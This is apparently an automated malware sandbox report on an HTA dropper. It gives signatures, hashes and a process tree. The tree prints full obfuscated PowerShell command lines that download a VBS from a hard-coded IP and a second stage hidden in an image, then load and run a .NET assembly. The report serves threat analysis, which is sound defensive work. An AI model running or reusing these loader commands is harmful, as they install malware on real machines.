Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20241023-en
  • resource tags

    arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
  • submitted
    28-01-2025 08:34

General

  • Target

    greatturningpointofentirelifegivenmebestthingsforgetbacktome.hta

  • Size

    252KB

  • MD5

    9fb8a902f8fed32164687eacbc011faa

  • SHA1

    7e2c1b3241c142946709366d053a0a458dcb6b3f

  • SHA256

    42b3442bc675f7ff95d660935ea8756710fea99551b1d614f2e8b7db739d72a0

  • SHA512

    3de9bde1a8ed6d6b974e541241009e2c18ed74d9ce777129d59a0c5df0306a6494d02b212a651769ce523b8d14da20f1f8d2774508e6979daeee79e883d2c4aa

  • SSDEEP

    768:PD2dFEfY7Xw8LcGdgtF/UT1JrXkUBDbzuJqAakf4vlOGd5cqjk1FJZuO+yIF9OQ5:NzNtyht97

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Evasion via Device Credential Deployment 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\greatturningpointofentirelifegivenmebestthingsforgetbacktome.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2712
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/c powERshELl.exe -EX byPasS -NoP -w 1 -C deVICECrEDentIaLDePLOYmEnt.EXe ; iEx($(iEX('[sYsTEM.texT.EnCodiNG]'+[chAr]58+[Char]0x3A+'utF8.gEtSTRINg([syStEm.coNVert]'+[ChAR]0x3A+[CHAr]58+'froMBaSE64StrIng('+[Char]0X22+'JEFFbFNEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbWJFUkRFZklOaXRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVybG1PbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0dIWGhOYlBWTCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXNTVlVJTCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmEsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBXUUdtYU55UWR2cixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQk5yaik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiU3dhYVJhV3oiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQU1Fc1BhQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBRWxTRDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEzNS4xMjUuMjQ2LjU0L3hhbXBwL25jby9uaWNldG9nZXRtZWJlc3R0aGluZ3N3aXRoZ3JlYXRuYmVzdHRoaW5nc2lnb3Rmcm9tZXZlcnkuZ0lGIiwiJEVudjpBUFBEQVRBXG5pY2V0b2dldG1lYmVzdHRoaW5nc3dpdGhncmVhdG5iZXN0dGhpbmdzaWdvdGZyb21ldmVyLnZicyIsMCwwKTtTdGFSVC1TTEVlcCgzKTtpTlZvS0UtRVhQUmVzc2lPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXG5pY2V0b2dldG1lYmVzdHRoaW5nc3dpdGhncmVhdG5iZXN0dGhpbmdzaWdvdGZyb21ldmVyLnZicyI='+[cHar]34+'))')))"
      2⤵
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2680
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powERshELl.exe -EX byPasS -NoP -w 1 -C deVICECrEDentIaLDePLOYmEnt.EXe ; iEx($(iEX('[sYsTEM.texT.EnCodiNG]'+[chAr]58+[Char]0x3A+'utF8.gEtSTRINg([syStEm.coNVert]'+[ChAR]0x3A+[CHAr]58+'froMBaSE64StrIng('+[Char]0X22+'JEFFbFNEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbWJFUkRFZklOaXRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVybG1PbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0dIWGhOYlBWTCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXNTVlVJTCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmEsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBXUUdtYU55UWR2cixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQk5yaik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiU3dhYVJhV3oiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQU1Fc1BhQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBRWxTRDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEzNS4xMjUuMjQ2LjU0L3hhbXBwL25jby9uaWNldG9nZXRtZWJlc3R0aGluZ3N3aXRoZ3JlYXRuYmVzdHRoaW5nc2lnb3Rmcm9tZXZlcnkuZ0lGIiwiJEVudjpBUFBEQVRBXG5pY2V0b2dldG1lYmVzdHRoaW5nc3dpdGhncmVhdG5iZXN0dGhpbmdzaWdvdGZyb21ldmVyLnZicyIsMCwwKTtTdGFSVC1TTEVlcCgzKTtpTlZvS0UtRVhQUmVzc2lPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXG5pY2V0b2dldG1lYmVzdHRoaW5nc3dpdGhncmVhdG5iZXN0dGhpbmdzaWdvdGZyb21ldmVyLnZicyI='+[cHar]34+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2904
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\lunneqyl.cmdline"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2544
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES51D9.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC51D8.tmp"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2576
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\nicetogetmebestthingswithgreatnbestthingsigotfromever.vbs"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:264
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABvAHIAaQBnAGkAbgBhAGwAVABlAHgAdAAgAD0AIAAnACMAeAAjAC4AcwBnAG4AaQBoACMAIwBzAGUAYgBlAG0AZQBzAG8AcgBmAG8AbABsAGkAawBzAGUAYwBpAG4ALwBvAGMAbgAvAHAAcABtAGEAeAAvADQANQAuADYANAAyAC4ANQAyADEALgA1ADMAMQAvAC8AOgBwACMAIwBoACcAOwAkAHIAZQBzAHQAbwByAGUAZABUAGUAeAB0ACAAPQAgACQAbwByAGkAZwBpAG4AYQBsAFQAZQB4AHQAIAAtAHIAZQBwAGwAYQBjAGUAIAAnACMAJwAsACAAJwB0ACcAOwAkAGkAbQBhAGcAZQBVAHIAbAAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAYQB4AHcAdQBhADYAMwB5AC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADgAMAAwADgAMAA5ADgALwBlAGYAcABxAG4AdgBoADgAeAB4AG4AMQBjAGQAMwB2AHEAbABiAGQALgBqAHAAZwAnADsAJAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgACQAdwBlAGIAQwBsAGkAZQBuAHQALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAaQBtAGEAZwBlAFUAcgBsACkAOwAkAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwApADsAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABzAHQAYQByAHQARgBsAGEAZwApADsAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAAgAD0AIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACwAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACkAOwAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAKQA7ACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwAkAHQAeQBwAGUAIAA9ACAAWwBkAG4AbABpAGIALgBJAE8ALgBIAG8AbQBlAF0ALgBHAGUAdABNAGUAdABoAG8AZAAoACcAVgBBAEkAJwApAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIABAACgAJAByAGUAcwB0AG8AcgBlAGQAVABlAHgAdAAsACcAJwAsACcAJwAsACcAJwAsACcAQwBhAHMAUABvAGwAJwAsACcAJwAsACcAJwAsACcAJwAsACcAJwAsACcAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAJwAsACcAdABvAHIAcgBvAG4AdABlAHMAJwAsACcAdgBiAHMAJwAsACcAMQAwADAAJwAsACcAMQAnACwAJwBwAHMAZQB1AGQAbwBtAGUAcgB5ACcAKQApAA==')) | Invoke-Expression"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1380

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\Cab6663.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\RES51D9.tmp

    Filesize

    1KB

    MD5

    4694dd8217dff63ce1e2c75dab04c56b

    SHA1

    e66df783e63f0df28d149d56a17547ff6d32b546

    SHA256

    63c9e34573d440c6f8ef4025be2452b44359e693d839b74f5795ba82865e7d3c

    SHA512

    32f2fd9526e0062224e2bf44637f9a51802c0371211b5909d3c53be74ea1c4afcb1c1a923de6a270c6bd11b41bdcf7a96b267cab44a1465c4fa6057999cf4f79

  • C:\Users\Admin\AppData\Local\Temp\Tar6676.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • C:\Users\Admin\AppData\Local\Temp\lunneqyl.dll

    Filesize

    3KB

    MD5

    0846b957e43018ab9ec7053cfea40468

    SHA1

    f2dc45b3275befc61dc0acbb4d7a60fb0bea7543

    SHA256

    c37a6a4b0feb8476a136980a9c7b6aa4be305b73ef423e85d1f68b5e11ca8c8d

    SHA512

    6e52fb65b183ec8f47f49600a7436712d1dc8b98cf559d6b84dc3620adff6d22c9bc7450c92203c1f8051761bc0e6e781be771a4dfd899bd959063b566d5a173

  • C:\Users\Admin\AppData\Local\Temp\lunneqyl.pdb

    Filesize

    7KB

    MD5

    787d8068c36f2efa45e0938aca49c62c

    SHA1

    6598d72e44c274f17c3054b90d1e262c47cebf2f

    SHA256

    87159925eeeb98938eac9f470a50a8cc0ae18399aa00ad22790462a68210fdb2

    SHA512

    6725fdf7ca0cc00ce8c3f725bf6b7ba66a66a32db1c131448d6d499b62ce89ac249d2bc2962a49784474ddb293ab15a074db8b7e4b57081e0b98be14626457b6

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    d21a72564a1edb042301a48d17d33ae1

    SHA1

    7a0d3747e77e79f8d6b5ebf3d482824dd825be0a

    SHA256

    f46f4b5ed4c8b50b37db02737c30c035ba637b84b8c1313be9557865824f6600

    SHA512

    d0ad1475017a16489bfc13ec64b8d554070b9b65624c6fc8516dd4662faa4d5881a80f8daa78a63386e1785a3780d9d923b942dd4947d0c14e70e70e71ba0506

  • C:\Users\Admin\AppData\Roaming\nicetogetmebestthingswithgreatnbestthingsigotfromever.vbs

    Filesize

    236KB

    MD5

    ff09c5a85cbd9857d9421bc214ec2fe1

    SHA1

    074bf8a3172008654a2541b851bf4590cd5ef216

    SHA256

    8c8eea1183ab058182154e705f9a518e4950cbd9b7de8c787e5e943f57aee3ca

    SHA512

    1a7769ba52d3bc4ecaf7d935656af12bf54f1b4f2bcf8dea9c9c50d6ea7dc261fb45f91ab7a1ff9e186b6db0df3330ca2ccfa66ed4811f4acbb07f980663f3eb

  • \??\c:\Users\Admin\AppData\Local\Temp\CSC51D8.tmp

    Filesize

    652B

    MD5

    16e013644fd235049ed1b170ddbfbc49

    SHA1

    23e47b97f4ef6f5c4dd5e32bc795fb58326c4216

    SHA256

    bc38a708a444408311b62d555afa063d5dbf4e3d67e8c473a57bb0ad5f0fc2b6

    SHA512

    f1cd7eca8a18ccb97b99ea5b8d0627bcad3b6e9db56687abf454da09cdf7ebea865cd6211ad56aa9c8c233eeeff6857ac15181ca9cc8835676789c7d48e8fd23

  • \??\c:\Users\Admin\AppData\Local\Temp\lunneqyl.0.cs

    Filesize

    482B

    MD5

    1f56a0f3efea0531ce22c4a0338cbf36

    SHA1

    4c802df944c3a34b94a85ce2211b2a022cbdd90c

    SHA256

    70ea60da378dd321ba63296b8ec869bace7f330f2d32a0113368bd1bf62976a7

    SHA512

    8bcca67defcc801d095ae338890e521b13b6fed91861b9584b4af3a130e3edac1f06b49ec403cab61e9b5e9137280501503f10cc5a8ffc3cc93a1d759b60649a

  • \??\c:\Users\Admin\AppData\Local\Temp\lunneqyl.cmdline

    Filesize

    309B

    MD5

    7121babb16205ce7feb6d870e9105757

    SHA1

    ecce88dbfc6f3ab4ec72aa94d23ad1bfe0fd76cb

    SHA256

    0f0016fdebdaab2b07ccb4115cf978b232d2220b3419a59ef23ebc0efb54570c

    SHA512

    f897e5c6625742b4812f52e2e0390a99a85fa069bb4d98da87a81080e9fd8b9b1fe84adf1a879cd17c111551b703da474b5d9d88bfce2206cde9311eb124e32d

  • memory/2712-0-0x0000000003B50000-0x0000000003B70000-memory.dmp

    Filesize

    128KB